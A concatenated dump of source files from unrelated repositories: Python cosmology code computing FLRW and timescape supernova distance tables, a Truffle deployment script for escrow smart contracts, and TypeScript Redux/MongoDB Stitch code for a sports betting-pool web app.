zcmb): """ Computes dL/dH, dH=c/H0 measured in cmb frame """ Ok = self.omk Om = self.om0 Ol = self.oml z = zcmb z1 = 1.+z if Ok < 0: # closed I,err = integrate.quad(self._integrand, 0.0, z) q = np.sqrt(np.absolute(Ok)) return z1*np.sin(q*I)/q elif Ok > 0: # open if Ok == 1: # Milne return 0.5*(z1**2-1.) # z1*np.sinh(np.log(z1)) else: I,err = integrate.quad(self._integrand, 0.0, z) q = np.sqrt(Ok) return z1*np.sinh(q*I)/q else: # flat if Om == 1: # Einstein-de Sitter return 2.*z1*(1.-1./np.sqrt(z1)) elif Ol == 1: # de Sitter return z1*z else: I,err = integrate.quad(self._integrand, 0.0, z) return z1*I def mu(self, zcmb): return 5*np.log10(self.dL(zcmb)) + 25 class timescape: def __init__(self, om0, fv0=0.778, H0=66.7): if om0 is not None: if 0 < om0 < 1: self.om0 = om0 self.fv0 = 0.5*(np.sqrt(9-8.*self.om0)-1) else: sys.exit('om0 must be between 0 and 1') else: self.fv0 = fv0 self.om0 = 0.5*(1.-self.fv0)*(2.+self.fv0) self.c = 2.9979e5 self.dH = self.c/H0 self.t0 = (2.+self.fv0)/3 # age of universe self._y0 = self.t0**(1./3) self._hf = (4.*self.fv0**2+self.fv0+4.)/2/(2.+self.fv0) # H0/barH0 self._b = 2*(1.-self.fv0)*(2.+self.fv0)/9/self.fv0 # b*barH0 def _z1(self, t): fv = self.fv_t(t) return (2.+fv)*fv**(1./3)/3/t/self.fv0**(1./3) def tex(self, zcmb): """ Get time t explicitly by inverting func(t,z)=0 for zcmb where zcmb is redshift measured in cmb frame Note t units: 1/H0 """ def f(t,z): return self._z1(t)-(1.+z) # Root must be enclosed in [a,b] a = 0.01 b = 1.1 #t=0.93/Hbar0 (for fv0=0.778) try: root = optimize.brentq(f, a, b, args=(zcmb,), maxiter=400) except ValueError: sys.exit('z = {0:1.3f}\nf(a) = {1:1.3f}\nf(b) = {2:1.3f}'.format(zcmb, f(a,zcmb), f(b,zcmb))) return root def _yint(self, Y): """ Compute \mathcal{F}(Y), Y=t^{1/3} """ bb = self._b**(1./3) return 2.*Y + (bb/6.)*np.log((Y+bb)**2/(Y**2-bb*Y+bb**2)) \ + bb/np.sqrt(3)*np.arctan((2.*Y-bb)/(np.sqrt(3)*bb)) def fv_t(self, t): """ Tracker soln as fn of time """ return 3.*self.fv0*t/(3.*self.fv0*t+(1.-self.fv0)*(2.+self.fv0)) def fv_z(self, zcmb): """ Tracker soln as fn of redshift """ t = self.tex(zcmb) return 3.*self.fv0*t/(3.*self.fv0*t+(1.-self.fv0)*(2.+self.fv0)) def dA(self, zcmb): """ Angular diameter distance divided by dH=c/H0 """ ya = self.tex(zcmb)**(1./3) #t^{1/3} return ya**2 * (self._yint(self._y0)-self._yint(ya)) def H0D(self, zcmb): #H0D/dH return self._hf*(1.+zcmb)*self.dA(zcmb) def dL(self, zcmb): """ Luminosity distance, units Mpc """ return self.dH*(1.+zcmb)*self.H0D(zcmb) def mu(self, zcmb): """ Distance modulus """ return 5*np.log10(self.dL(zcmb)) + 25 if __name__ == '__main__': JLA = np.loadtxt('jla.tsv') zcmb = JLA[:,0] zhel = JLA[:,-3] N = zcmb.size #740 Oms = np.linspace(0.0, 1.0, 101) Ols = np.linspace(0.0, 1.0, 101) interp = np.empty((N, 101, 101)) iarr = np.empty((0,3), dtype=int) # compute lcdm dL/dH for i, Om in enumerate(Oms): for j, Ol in enumerate(Ols): for k in range(N): fl = flrw(Om,Ol) zz = zcmb[k] Ok = 1.-Om-Ol if np.isfinite(fl._integrand(zz)): interp[k,i,j] = fl.dL(zz) else: iarr = np.vstack((iarr, [k,i,j])) interp[k,i,j] = 10000. np.save('tabledL_lcdm.npy',interp) # compute dL timescape normalized to h=61.7 interp = np.empty((N, 100)) iarr = np.empty((0,2), dtype=int) Oms = np.linspace(0.0, 0.99, 100) Oms[0] = 0.001 # avoid singular values for i, Om in enumerate(Oms): for k in range(N): ts = timescape(Om,H0=61.7) zz = zcmb[k] interp[k,i] = ts.dL(zz) np.save('tabledL_ts.npy',interp) # np.savetxt('rejected.txt',iarr,fmt='%3i')
5defd1b96e556d4af8496658480bc54e29637e01
[ "Markdown", "Python" ]
6
Python
lhd23/SNMC
ab4f5e3454447ceba323c33dc8de3af6cdb5774a
8607460eb679bb794a0b3363dc10f1ac419b5684
refs/heads/master
<file_sep>const MyToken = artifacts.require('./MyToken.sol') const BaseEscrowLib = artifacts.require('./BaseEscrowLib.sol') const DateTime = artifacts.require('./DateTime.sol') const ModerateEscrowLib = artifacts.require('./ModerateEscrowLib.sol') const Ownable = artifacts.require('./Ownable.sol') const FlexibleEscrowLib = artifacts.require('./FlexibleEscrowLib.sol') const StrictEscrowLib = artifacts.require('./StrictEscrowLib.sol') const StayBitContractFactory = artifacts.require('./StayBitContractFactory.sol') module.exports = (deployer) => { deployer.deploy(DateTime); deployer.link(DateTime, BaseEscrowLib); deployer.deploy(BaseEscrowLib); deployer.link(DateTime, FlexibleEscrowLib); deployer.link(BaseEscrowLib, FlexibleEscrowLib); deployer.deploy(FlexibleEscrowLib); deployer.link(DateTime, ModerateEscrowLib); deployer.link(BaseEscrowLib, ModerateEscrowLib); deployer.deploy(ModerateEscrowLib); deployer.deploy(Ownable); deployer.deploy(MyToken); deployer.link(DateTime, StrictEscrowLib); deployer.link(BaseEscrowLib, StrictEscrowLib); deployer.deploy(StrictEscrowLib); deployer.link(BaseEscrowLib, StayBitContractFactory); deployer.link(FlexibleEscrowLib, StayBitContractFactory); deployer.link(ModerateEscrowLib, StayBitContractFactory); deployer.link(StrictEscrowLib, StayBitContractFactory); deployer.link(Ownable, StayBitContractFactory); deployer.deploy(StayBitContractFactory); };
715bc44d61b1851fc1b791be80ebc8bdd520495d
[ "JavaScript" ]
1
JavaScript
bahia-emerald/AuditRentalContracts
a3534aa4429b09420bebf67d0e6c448ccf3c4477
8519b724aac0cb24c799f8b9e414e10dd75f55d7
refs/heads/master
<file_sep>export { default as PoolStandings } from './standings'; <file_sep>import { BSON } from 'mongodb-stitch-browser-sdk'; import { FreeAgencyPlayer, FreeAgencyResult, Golfer, GolferPayout, GolferResult, GolfMajorPickemFor, NbaBingoballFor, NbaFreeAgencyPickemFor, NflBoxesFor, } from './meta'; interface BasePoolGame { _id?: BSON.ObjectId; event_start: Date; event_done?: boolean; } interface BasePickemPoolGame extends BasePoolGame { type: 'pickem'; } export interface NbaFreeAgencyPickemGame extends BasePickemPoolGame { mode: 'nba_free_agency'; for: NbaFreeAgencyPickemFor; field: FreeAgencyPlayer[]; signings: { [key: string]: FreeAgencyResult }; } export interface GolfMajorPickemGame extends BasePickemPoolGame { mode: 'golf_major'; for: GolfMajorPickemFor; field: Golfer[]; results: { [key: string]: GolferResult }; payouts?: GolferPayout[]; } interface BaseBingoballPoolGame extends BasePoolGame { type: 'bingoball'; } export interface NbaBingoballGame extends BaseBingoballPoolGame { mode: 'nba'; for: NbaBingoballFor; } interface BaseBoxesPoolGame extends BasePoolGame { type: 'boxes'; } export interface NflBoxesGame extends BaseBoxesPoolGame { mode: 'nfl'; for: NflBoxesFor; } export type PoolGame = NbaFreeAgencyPickemGame | GolfMajorPickemGame | NbaBingoballGame | NflBoxesGame; <file_sep>import { makesStitchMongoCrud } from '@makes-apps/lib'; import AppActions from '../../app/actions'; import AppContext from '../../app/context'; import { NAMESPACE, State, User } from './types'; const factory = AppActions.forNamespace<State>(NAMESPACE); const { find, findOne, insert, insertOne, update, updateOne, delete: deleteFn, deleteOne } = makesStitchMongoCrud< AppContext, State, User >( factory, stitch => stitch .clients() .db('mongo', 'auth') .collection<User>('users'), user => (user ? user._id : '') ); export { find, findOne, insert, insertOne, update, updateOne, deleteFn as delete, deleteOne }; export const addBet = factory .withType('add bet') .asThunk((email: string, betId: string) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'auth') .collection<User>('users') .updateOne({ email }, { $push: { bets: betId } }) ); export const addGame = factory .withType('add game') .asThunk((email: string, gameId: string) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'auth') .collection<User>('users') .updateOne({ email }, { $push: { games: gameId } }) ); export const adjustMeta = factory .withType('adjust meta') .asThunk( (email: string, meta: { coin?: number; skill?: number; reputation?: number }) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'auth') .collection<User>('users') .updateOne({ email }, { $inc: meta }) ); export const clearDb = factory .withType('clear db') .withoutPayload() .withReducer(state => ({ ...state, db: {} })); <file_sep>import { adminActions, makesAuthActions } from '@makes-apps/lib'; import { UserPasswordCredential } from 'mongodb-stitch-browser-sdk'; import AppContext from '../../app/context'; import AppState from '../../app/state'; import { User } from '../users'; const { setUser, login, logout, register, sendConfirmationEmail, sendPasswordResetEmail, confirmEmail, resetPassword, } = makesAuthActions<AppState, AppContext, User>( "Gramma's Kitchen", { addAlert: adminActions.addAlert.creator.action, startWork: adminActions.startWork.creator.action, endWork: adminActions.endWork.creator.action, }, stitch => ({ login: (email: string, password: string) => stitch.stitch.auth.loginWithCredential(new UserPasswordCredential(email, password)), logout: () => stitch.stitch.auth.logout(), register: (email: string, password: string) => stitch.clients().emailPassword.registerWithEmail(email, password), sendConfirmationEmail: (email: string) => stitch.clients().emailPassword.resendConfirmationEmail(email), sendPasswordResetEmail: (email: string) => stitch.clients().emailPassword.sendResetPasswordEmail(email), confirmEmail: (token: string, tokenId: string) => stitch.clients().emailPassword.confirmUser(token, tokenId), resetPassword: (token: string, tokenId: string, password: string) => stitch.clients().emailPassword.resetPassword(token, tokenId, password), }) ); export { setUser, login, logout, register, sendConfirmationEmail, sendPasswordResetEmail, confirmEmail, resetPassword }; <file_sep>import { makesStitchMongoCrud } from '@makes-apps/lib'; import AppActions from '../../app/actions'; import AppContext from '../../app/context'; import { State, Bet } from './types'; const factory = AppActions.forNamespace<State>(State.NAMESPACE); const { find, findOne, insert, insertOne, update, updateOne, delete: deleteFn, deleteOne } = makesStitchMongoCrud< AppContext, State, Bet >( factory, stitch => stitch .clients() .db('mongo', 'app') .collection<Bet>('bets'), bet => (bet ? bet._id.toHexString() : '') ); export const clearDb = factory .withType('clear db') .withoutPayload() .withReducer(state => ({ ...state, db: {} })); export { find, findOne, insert, insertOne, update, updateOne, deleteFn as delete, deleteOne }; <file_sep>export { default as MeControls } from './me'; export { default as AdminControls } from './admin'; export { default as UserControls } from './user'; <file_sep>import { makesSliceReducer } from '@makes-apps/lib'; import * as actions from './actions'; import { NAMESPACE, State } from './types'; export default makesSliceReducer(NAMESPACE, new State(), actions); <file_sep>import 'core-js'; import { AppFactory, debounce, LocalAppState, registerAuthListener } from '@makes-apps/lib'; import App, { makeAppReducer, APP_LOCAL_KEY, AppContext, AppState } from './app'; import { setUser } from './store/auth'; import { findOne, User } from './store/users'; const factory = new AppFactory(AppState()); const history = factory.createHistory(); const store = factory.createStore(makeAppReducer(history), AppContext('shake-on-it-hybzb')); store.subscribe( debounce(() => { LocalAppState.write(APP_LOCAL_KEY, store.getState().auth); }, 500) ); const renderApp = factory.createRenderer(history, store, 'root', makesTheme => makesTheme({ primaryColor: 'green', secondaryColor: 'neutral', logoFont: 'Graduate, serif', headingFont: 'Raleway, sans-serif', bodyFont: 'Alegreya, serif', }) ); registerAuthListener(auth => auth.user ? store .dispatch<any>(findOne.creator.worker({ email: auth.user.profile.email })) .then((user: User | undefined) => store.dispatch(setUser.creator.action(user))) : store.dispatch(setUser.creator.action(undefined)) ); renderApp(App); if (module.hot) { module.hot.accept('./app/app', () => { const app = require('./app/app'); renderApp(app); }); } <file_sep>import { makesRootReducer } from '@makes-apps/lib'; import AuthReducer from '../store/auth'; import BetsReducer from '../store/bets'; import GamesReducer from '../store/games'; import PoolsReducer from '../store/pools'; import ScoresReducer from '../store/scores'; import TournamentsReducer from '../store/tournaments'; import UsersReducer from '../store/users'; export default makesRootReducer({ auth: AuthReducer, bets: BetsReducer, games: GamesReducer, pools: PoolsReducer, scores: ScoresReducer, tournaments: TournamentsReducer, users: UsersReducer, }); <file_sep>import { BSON } from 'mongodb-stitch-browser-sdk'; import { FreeAgencyPick, Golfer, GolfMajorPickemFor, NbaBingoballFor, NbaFreeAgencyPickemFor, NflBoxesFor, } from './meta'; interface BasePoolEntry { _id?: BSON.ObjectId; party_id: BSON.ObjectId; email: string; name: string; } interface BasePickemPoolEntry extends BasePoolEntry { type: 'pickem'; } export interface NbaFreeAgencyPickemEntry extends BasePickemPoolEntry { mode: 'nba_free_agency'; for: NbaFreeAgencyPickemFor; picks: FreeAgencyPick[]; } export interface GolfMajorPickemEntry extends BasePickemPoolEntry { mode: 'golf_major'; for: GolfMajorPickemFor; picks: Golfer[]; } interface BaseBingoballPoolEntry extends BasePoolEntry { type: 'bingoball'; } export interface NbaBingoballEntry extends BaseBingoballPoolEntry { mode: 'nba'; for: NbaBingoballFor; } interface BaseBoxesPoolEntry extends BasePoolEntry { type: 'boxes'; } export interface NflBoxesEntry extends BaseBoxesPoolEntry { mode: 'nfl'; for: NflBoxesFor; } export type PoolEntry = NbaFreeAgencyPickemEntry | GolfMajorPickemEntry | NbaBingoballEntry | NflBoxesEntry; <file_sep>export const calculateWinnings = (winnings: number, shares: number) => { const effWinnings = (winnings / (shares || 1)).toLocaleString(undefined, { minimumFractionDigits: 2, maximumFractionDigits: 2, }); return `$${effWinnings}${shares > 1 ? ` (${shares} shares)` : ''}`; }; export const parseRank = (rank: string): number => rank.indexOf('T') < 0 ? parseInt(rank) : parseInt(rank.substring(1)); <file_sep>import { default as auth } from './auth'; import { default as pools } from './pools'; import { default as users } from './users'; export default { admin: () => '/admin', home: () => '/', welcome: () => '/welcome', pools, users, auth, }; <file_sep>import { BSON } from 'mongodb-stitch-browser-sdk'; import AppActions from '../../app/actions'; import { State, PoolEntry, PoolGame, PoolParty } from './types'; const factory = AppActions.forNamespace<State>(State.NAMESPACE); const objectId = (id: string | BSON.ObjectId) => (typeof id === 'string' ? id : id.toHexString()); export const watchGame = factory.withType('watch pool game').asThunk((id: string) => (dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolGame>('games') .watch([new BSON.ObjectId(id)]) .then(stream => stream.onNext(({ fullDocument }) => { if (fullDocument) { dispatch(setGame.creator.action(fullDocument)); dispatch(setGameRefresh.creator.action(undefined)); } }) ) ); export const setGame = factory .withType('set pool game') .withPayload<PoolGame>() .withReducer((state, { payload }) => ({ ...state, [payload._id.toHexString()]: payload })); export const setGameRefresh = factory .withType('set last pool game refresh') .withPayload<Date | undefined>() .withReducer((state, { payload = new Date() }) => ({ ...state, lastGameRefresh: payload })); export const findAllParties = factory .withType('find all pool parties') .asThunk(() => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolParty>('parties') .find({}) .toArray() ) .withReducer((state, action) => { if (action.status === 'success') { return { ...state, parties: action.payload.reduce((acc, party) => ({ ...acc, [party._id.toHexString()]: party }), {}), }; } return state; }); export const savePoolParty = factory .withType('save pool party') .asThunk((poolParty: PoolParty) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolParty>('parties') .updateOne({ _id: poolParty._id || new BSON.ObjectId() }, poolParty, { upsert: true }) .then(({ upsertedId }) => upsertedId || poolParty._id) ) .withReducer((state, action) => { if (action.status === 'success') { const party = action.meta.args[0]; return { ...state, parties: { ...state.parties, [action.payload.toHexString()]: { _id: action.payload, ...party }, }, }; } return state; }); export const removePoolParty = factory .withType('remove pool party') .asThunk((_id: BSON.ObjectId) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolParty>('parties') .deleteOne({ _id }) ) .withReducer((state, action) => { if (action.status === 'success' && action.payload.deletedCount === 1) { const newState = { ...state }; delete newState.parties[objectId(action.meta.args[0])]; return newState; } return state; }); export const findAllGames = factory .withType('find all pool games') .asThunk(() => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolGame>('games') .find({}) .toArray() ) .withReducer((state, action) => { if (action.status === 'success') { return { ...state, games: action.payload.reduce((acc, game) => ({ ...acc, [game._id.toHexString()]: game }), {}), }; } return state; }); export const savePoolGame = factory .withType('save pool game') .asThunk((poolGame: PoolGame) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolGame>('games') .updateOne({ type: poolGame.type, mode: poolGame.mode, for: poolGame.for }, poolGame, { upsert: true }) .then(({ upsertedId }) => upsertedId || poolGame._id) ) .withReducer((state, action) => { if (action.status === 'success') { const game = action.meta.args[0]; return { ...state, games: { ...state.games, [action.payload.toHexString()]: { _id: action.payload, ...game }, }, }; } return state; }); export const removePoolGame = factory .withType('remove pool game') .asThunk((_id: BSON.ObjectId) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolGame>('games') .deleteOne({ _id }) ) .withReducer((state, action) => { if (action.status === 'success' && action.payload.deletedCount === 1) { const newState = { ...state }; delete newState.games[objectId(action.meta.args[0])]; return newState; } return state; }); export const findAllEntries = factory .withType('find all pool entries') .asThunk(() => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolEntry>('entries') .find({}) .toArray() ) .withReducer((state, action) => { if (action.status === 'success') { return { ...state, entries: action.payload.reduce((acc, entry) => ({ ...acc, [entry._id.toHexString()]: entry }), {}), }; } return state; }); export const savePoolEntry = factory .withType('save pool entry') .asThunk((poolEntry: PoolEntry) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection('entries') .updateOne( { type: poolEntry.type, mode: poolEntry.mode, for: poolEntry.for, email: poolEntry.email, name: poolEntry.name, }, poolEntry, { upsert: true } ) .then(({ upsertedId }) => upsertedId || poolEntry._id) ) .withReducer((state, action) => { if (action.status === 'success') { const entry = action.meta.args[0]; return { ...state, entries: { ...state.entries, [action.payload.toHexString()]: { _id: action.payload, ...entry }, }, }; } return state; }); export const modifyPoolEntry = factory .withType('modify pool entry') .asThunk( (poolEntry: PoolEntry) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection('entries') .updateOne({ _id: poolEntry._id }, poolEntry) .then(() => {}), 'we have successfully updated your entry' ) .withReducer((state, action) => { if (action.status === 'success') { const entry = action.meta.args[0]; return { ...state, entries: { ...state.entries, [entry._id.toHexString()]: entry, }, }; } return state; }); export const removePoolEntry = factory .withType('remove pool entry') .asThunk((_id: BSON.ObjectId) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'pools') .collection<PoolEntry>('entries') .deleteOne({ _id }) ) .withReducer((state, action) => { if (action.status === 'success' && action.payload.deletedCount === 1) { const newState = { ...state }; delete newState.entries[objectId(action.meta.args[0])]; return newState; } return state; }); <file_sep>export { default as PoolEntries } from './entries'; <file_sep>import { User } from '../../store/users'; export const userDisplay = (user: User) => user.firstName ? (user.lastName ? `${user.firstName} ${user.lastName}` : user.firstName) : user.name; <file_sep>import { BaseCrudState } from '@makes-apps/lib'; import { BSON } from 'mongodb-stitch-browser-sdk'; interface BaseBet { _id?: BSON.ObjectId; proposer: string; acceptor?: string; note?: string; } export interface MatchupBet extends BaseBet { type: 'matchup'; } export interface OddsBet extends BaseBet { type: 'odds'; } export type Bet = MatchupBet | OddsBet; export class State extends BaseCrudState<Bet> { static NAMESPACE = 'bets'; constructor() { super(); } } <file_sep>export { default as ListPools } from './list'; export { default as NewPool } from './new'; export { default as ViewPool } from './view'; <file_sep># shake on it <file_sep>export default () => { const users = '/users'; return { url: () => users, profile: (userId = ':userId') => { const profile = `${users}/${userId}`; return { url: () => profile, }; }, }; }; <file_sep>import { AppActions } from '@makes-apps/lib'; import AppContext from './context'; import AppState from './state'; export default AppActions<AppState, AppContext>(); <file_sep>export * from './svg'; export * from './home'; export * from './admin'; export * from './users'; <file_sep>export default () => { const pools = '/pools'; return { url: () => pools, new: () => `${pools}/new`, party: (partyId = ':partyId') => { const party = `${pools}/${partyId}`; return { url: () => party, entries: () => { const entries = `${party}/entries`; return { url: () => entries, entry: (entryId = ':entryId') => `${entries}/${entryId}`, }; }, standings: () => { const standings = `${party}/standings`; return { url: () => standings, }; }, }; }, }; }; <file_sep>import { BaseCrudState } from '@makes-apps/lib'; import { BSON } from 'mongodb-stitch-browser-sdk'; interface BaseGame<ENTRY extends BaseEntry<any>> { _id?: BSON.ObjectId; type: 'golf_pickem' | 'bingoball'; key: string; host: string; name: string; note?: string; entries: ENTRY[]; } interface BaseEntry<PICK> { owner: string; score: number; picks: PICK[]; } export interface GolfPickemEntry extends BaseEntry<string> {} export interface BingoballEntry extends BaseEntry<never> {} export type Entry = GolfPickemEntry | BingoballEntry; export interface GolfPickemGame extends BaseGame<GolfPickemEntry> { type: 'golf_pickem'; } export interface BingoballGame extends BaseGame<BingoballEntry> { type: 'bingoball'; } export type Game = GolfPickemGame | BingoballGame; export class State extends BaseCrudState<Game> { static NAMESPACE = 'games'; constructor() { super(); } } <file_sep>export { default as WelcomePage } from './welcome'; export { default as AdminPage } from './admin'; export { default as HomePage } from './home'; export { default as PoolsPage } from './pools'; export { default as UsersPage } from './users'; <file_sep>export type PoolType = 'pickem' | 'bingoball' | 'boxes'; export type PickemMode = 'nba_free_agency' | 'golf_major'; export type NbaFreeAgencyPickemFor = 'nba_2019'; export type GolfMajorPickemFor = 'masters_2019' | 'british_open_2019'; export type BingoballMode = 'nba'; export type NbaBingoballFor = 'nba_2018_19'; export type BoxesMode = 'nfl'; export type NflBoxesFor = 'super_bowl_2018_19'; export interface NbaFreeAgencyPickemMeta { type: 'pickem'; mode: 'nba_free_agency'; for: NbaFreeAgencyPickemFor; } export interface FreeAgencyPick { name: string; team: string; score: number; } export interface FreeAgencyPlayer { name: string; team: string; note?: string; } export interface FreeAgencyResult { team: string; contract?: string; } export interface GolfMajorPickemMeta { type: 'pickem'; mode: 'golf_major'; for: GolfMajorPickemFor; } export interface Golfer { key: string; name: string; country: string; amateur?: boolean; } export interface GolferPayout { place: number; amount: number; } export interface GolferResult { rank?: string; score: string; today: { score: string; thru: string }; rounds: { 1: number; 2: number; 3?: number; 4?: number }; winnings?: number; } export interface NbaBingoballMeta { type: 'bingoball'; mode: 'nba'; for: NbaBingoballFor; } export interface NflBoxesMeta { type: 'boxes'; mode: 'nfl'; for: NflBoxesFor; } export type PoolMeta = NbaFreeAgencyPickemMeta | GolfMajorPickemMeta | NbaBingoballMeta | NflBoxesMeta; export const poolMeta: { pickem: { nba_free_agency: (_for: NbaFreeAgencyPickemFor) => NbaFreeAgencyPickemMeta; golf_major: (_for: GolfMajorPickemFor) => GolfMajorPickemMeta; }; bingoball: { nba: (_for: NbaBingoballFor) => NbaBingoballMeta; }; boxes: { nfl: (_for: NflBoxesFor) => NflBoxesMeta; }; } = { pickem: { nba_free_agency: (_for: NbaFreeAgencyPickemFor) => ({ type: 'pickem', mode: 'nba_free_agency', for: _for }), golf_major: (_for: GolfMajorPickemFor) => ({ type: 'pickem', mode: 'golf_major', for: _for }), }, bingoball: { nba: (_for: NbaBingoballFor) => ({ type: 'bingoball', mode: 'nba', for: _for }), }, boxes: { nfl: (_for: NflBoxesFor) => ({ type: 'boxes', mode: 'nfl', for: _for }), }, }; export const poolFors: { pickem: { nba_free_agency: NbaFreeAgencyPickemFor[]; golf_major: GolfMajorPickemFor[]; }; bingoball: { nba: NbaBingoballFor[]; }; boxes: { nfl: NflBoxesFor[]; }; } = { pickem: { nba_free_agency: ['nba_2019'], golf_major: ['masters_2019', 'british_open_2019'], }, bingoball: { nba: ['nba_2018_19'], }, boxes: { nfl: ['super_bowl_2018_19'], }, }; <file_sep>import { makesAuthReducer } from '@makes-apps/lib'; import { User } from '../users'; import * as actions from './actions'; export default makesAuthReducer<User>(actions); <file_sep>export * from './meta'; export * from './party'; export * from './game'; export * from './entry'; export * from './state'; <file_sep>import { makesSliceReducer } from '@makes-apps/lib'; import * as actions from './actions'; import { State } from './types'; export default makesSliceReducer(State.NAMESPACE, new State(), actions); <file_sep>import { GolfMajorPickemEntry, GolfMajorPickemGame, GolfMajorPickemParty, NbaFreeAgencyPickemEntry, NbaFreeAgencyPickemGame, NbaFreeAgencyPickemParty, PoolEntry, PoolGame, PoolParty, } from '../../store/pools'; export const poolMeta = (game: PoolGame): any => ({ type: game.type, mode: game.mode, for: game.for, }); const golfMetaComparator = <META extends { type: string; mode: string }>(meta: META) => meta.type === 'pickem' && meta.mode === 'golf_major'; const nbaFaMetaComparator = <META extends { type: string; mode: string }>(meta: META) => meta.type === 'pickem' && meta.mode === 'nba_free_agency'; const isGolfEntry = (entry: PoolEntry): entry is GolfMajorPickemEntry => golfMetaComparator(entry); const isGolfGame = (game: PoolGame): game is GolfMajorPickemGame => golfMetaComparator(game); const isGolfParty = (party: PoolParty): party is GolfMajorPickemParty => golfMetaComparator(party); export const isGolf = ( tuple: [PoolGame, PoolParty, PoolEntry] ): tuple is [GolfMajorPickemGame, GolfMajorPickemParty, GolfMajorPickemEntry] => isGolfGame(tuple[0]) && isGolfParty(tuple[1]) && isGolfEntry(tuple[2]); const isNbaFaEntry = (entry: PoolEntry): entry is NbaFreeAgencyPickemEntry => nbaFaMetaComparator(entry); const isNbaFaGame = (game: PoolGame): game is NbaFreeAgencyPickemGame => nbaFaMetaComparator(game); const isNbaFaParty = (party: PoolParty): party is NbaFreeAgencyPickemParty => nbaFaMetaComparator(party); export const isNbaFa = ( tuple: [PoolGame, PoolParty, PoolEntry] ): tuple is [NbaFreeAgencyPickemGame, NbaFreeAgencyPickemParty, NbaFreeAgencyPickemEntry] => isNbaFaGame(tuple[0]) && isNbaFaParty(tuple[1]) && isNbaFaEntry(tuple[2]); <file_sep>import { PoolEntry } from './entry'; import { PoolGame } from './game'; import { PoolParty } from './party'; export class State { static NAMESPACE = 'pools'; constructor( public entries: { [key: string]: PoolEntry } = {}, public games: { [key: string]: PoolGame } = {}, public parties: { [key: string]: PoolParty } = {}, public lastGameRefresh: Date | undefined = undefined ) {} } <file_sep>import { BaseCrudState } from '@makes-apps/lib'; import { BSON } from 'mongodb-stitch-browser-sdk'; interface BaseTournament<PLAYER extends Player> { _id?: BSON.ObjectId; field: PLAYER[]; } export interface MastersTournament extends BaseTournament<MastersPlayer> { key: 'masters_2019'; } export interface BingoballTournament extends BaseTournament<BingoballPlayer> { key: 'nba_201819'; } export type Tournament = MastersTournament | BingoballTournament; interface BasePlayer { id: string; first_name: string; last_name: string; } export interface MastersPlayer extends BasePlayer { type: 'masters'; countryName: string; countryCode: string; Amateur: string; First: string; Past: string; image: boolean; } export interface BingoballPlayer extends BasePlayer { type: 'bingoball'; } export type Player = MastersPlayer | BingoballPlayer; export class State extends BaseCrudState<Tournament> { static NAMESPACE = 'tournaments'; constructor() { super(); } } <file_sep>import { BaseCrudState } from '@makes-apps/lib'; import { BSON } from 'mongodb-stitch-browser-sdk'; export interface MastersScores { _id?: BSON.ObjectId; key: string; currentRound: string; cutLine?: string; yardages: { round1: number[]; round2: number[]; round3: number[]; round4: number[]; }, pars: { round1: number[]; round2: number[]; round3: number[]; round4: number[]; }, player: MastersPlayerScore[]; } export interface MastersPlayerScore { id: string; display_name: string; display_name2: string; first_name: string; last_name: string; countryName: string; countryCode: string; live?: string; video: boolean; pos?: string; image: boolean; amateur: boolean; past: boolean; firsttimer: boolean; status: string; active: boolean; us: boolean; teetime: string; tee_order: string; sort_order: string; start: string; group: string; today?: string; thru?: string; groupHistory: string; thruHistory: string; lastHoleWithShot: string; holeProgress: number; topar?: string; total?: string; totalUnderPar: string; movement?: string; r1: string; round1: MastersPlayerRound; r2: string; round2: MastersPlayerRound; r3: string; round3: MastersPlayerRound; r4: string; round4: MastersPlayerRound; } export interface MastersPlayerRound { prior?: any; total?: any; scores: any[]; video: any[] } export class State extends BaseCrudState<MastersScores> { static NAMESPACE = 'scores'; constructor() { super(); } } <file_sep>import { AuthState, LocalAppState, makesAppState } from '@makes-apps/lib'; import { State as BetsState } from '../store/bets'; import { State as GamesState } from '../store/games'; import { State as PoolsState } from '../store/pools'; import { State as ScoresState } from '../store/scores'; import { State as TournamentsState } from '../store/tournaments'; import { State as UsersState, User } from '../store/users'; import APP_LOCAL_KEY from './local_key'; const AppState = makesAppState({ auth: new AuthState<User>(LocalAppState.read(APP_LOCAL_KEY)), users: new UsersState(), bets: new BetsState(), games: new GamesState(), pools: new PoolsState(), scores: new ScoresState(), tournaments: new TournamentsState(), }); interface AppState extends ReturnType<typeof AppState> {} export default AppState; <file_sep>export { default as AppContext } from './context'; export { default as AppState } from './state'; export { default as AppActions } from './actions'; export { default as APP_LOCAL_KEY } from './local_key'; export { default as makeAppReducer } from './reducer'; export { default } from './app'; <file_sep>export default () => ({ login: () => '/login', register: () => '/register', confirmEmail: () => '/confirm_email', resetPassword: () => <PASSWORD>', confirmation: () => '/confirmation', passwordReset: () => '/password_reset', }); <file_sep>export { default as HomeAbout } from './about'; export { default as HomeFaq } from './faq'; export { default as HomeSettings } from './settings'; <file_sep>import { makesStitchMongoCrud } from '@makes-apps/lib'; import AppActions from '../../app/actions'; import AppContext from '../../app/context'; import { State, Entry, Game } from './types'; const factory = AppActions.forNamespace<State>(State.NAMESPACE); const { find, findOne, insert, insertOne, update, updateOne, delete: deleteFn, deleteOne } = makesStitchMongoCrud< AppContext, State, Game >( factory, stitch => stitch .clients() .db('mongo', 'app') .collection<Game>('games'), game => (game ? game._id.toHexString() : '') ); export const clearDb = factory .withType('clear db') .withoutPayload() .withReducer(state => ({ ...state, db: {} })); export { find, findOne, insert, insertOne, update, updateOne, deleteFn as delete, deleteOne }; export const addEntry = factory .withType('add entry') .asThunk((_id: string, entry: Entry) => (_dispatch, _getState, stitch) => stitch .clients() .db('mongo', 'app') .collection<Game>('games') .updateOne({ _id }, { 